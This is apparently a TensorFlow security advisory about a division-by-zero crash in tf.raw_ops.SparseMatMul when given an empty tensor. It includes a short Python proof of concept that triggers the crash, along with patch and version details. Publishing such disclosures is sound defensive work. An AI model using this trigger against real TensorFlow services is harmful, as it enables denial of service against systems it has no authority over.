Division by 0 in `SparseMatMul`

Impact

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.SparseMatMul:

```python

import tensorflow as tf

a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)

b = tf.constant([], shape=[0, 2], dtype=tf.float32)

tf.raw_ops.SparseMatMul(

a=a, b=b, transpose_a=True, transpose_b=True,

a_is_sparse=True, b_is_sparse=True)

`

The division by 0 occurs deep in Eigen code because the b tensor is empty.

Patches

We have patched the issue in GitHub commit [7f283ff806b2031f407db64c4d3edcda8fb9f9f5](https://github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.